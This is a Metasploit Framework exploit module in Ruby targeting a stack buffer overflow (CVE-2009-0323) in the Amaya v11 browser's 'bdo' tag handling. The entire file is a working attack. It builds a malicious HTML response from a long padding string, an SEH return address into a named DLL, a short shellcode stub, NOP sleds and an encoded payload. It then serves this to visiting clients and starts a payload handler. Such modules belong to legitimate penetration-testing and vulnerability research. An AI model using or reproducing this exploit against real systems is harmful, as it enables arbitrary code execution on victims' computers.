metasploit-framework/modules/exploits/windows/browser/amaya_bdo.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Amaya Browser v11.0 bdo tag overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Amaya v11 Browser.
By sending an overly long string to the "bdo"
tag, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'dookie, original exploit by Rob Carter' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-0323' ],
[ 'OSVDB', '55721' ],
[ 'BID', '33046' ],
[ 'BID', '33047' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 970,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
],
'DisclosureDate' => 'Jan 28 2009',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Set the exploit buffer
sploit = "<bdo dir=\""
sploit += "\x41" * 6889
sploit += "\x74\x06\x41\x41"
sploit += [target.ret].pack('V')
sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F
sploit += "\x58" # pop EAX
sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A0857
sploit += "\x50" # push EAX
sploit += "\xc3" # RETN
sploit += make_nops(100)
sploit += payload.encoded
sploit += make_nops(970 - payload.encoded.length)
sploit += "\">pwned!</bdo>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, sploit)
# Handle the payload
handler(cli)
end
end